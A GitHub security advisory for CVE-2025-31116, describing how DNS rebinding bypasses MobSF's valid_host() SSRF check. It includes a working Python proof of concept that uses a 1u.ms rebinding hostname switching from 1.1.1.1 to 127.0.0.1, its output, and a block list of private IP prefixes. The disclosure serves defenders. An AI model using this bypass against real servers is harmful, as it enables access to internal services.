GitHub Advisoryadvisory · PyPI

GHSA-fcfq-m8p6-gw56 Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding

MEDIUM Published 2025-03-31 Modified 2025-06-13 Official page ↗
Aliases
CVE-2025-31116
Ecosystem
PyPI
Packages
mobsf
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L
Weaknesses
CWE-918
Reviewed
2025-03-31

Affected packages

• PyPI mobsf: < 4.3.2 → fixed in 4.3.2

Description

Summary The latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique. PoC The following proof of concept: ```python def valid_host(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalid_prefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalid_prefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalid_prefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None import random import time import socket from urllib.parse import urlparse if __name__ == '__main__': print("Generating random host ...", end=' ') prefix = random.randint(999_999, 9_999_999) host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms" print("Done") print(f"Testing with '{host}' ... ", end=" ") valid, ip = valid_host(host) if valid: print(f"Successful Bypass") print(f" - Host initially resolved to: {ip}") print("Sleeping for 1 second ...") time.sleep(1) print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}") print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}") print("Sleeping for 30 seconds ...") time.sleep(30) else: print(f"Invalid host") ``` Yields : ``` $ python3 poc.py Generating random host ... Done Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass • Host initially resolved to: 1.1.1.1 Sleeping for 1 second ... • Second use host will be resolved to: 127.0.0.1 • Third use host will be resolved to: 127.0.0.1 Sleeping for 30 seconds ... ``` Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses. Impact The usual impact of Server-side request forgery. Remediation • Avoid the use of `socket.gethostbyname()` since it issues and DNS query.

Related

Alias · CVE (1)

  • CVE-2025-31116 Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessment framework capable of performing static and… vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References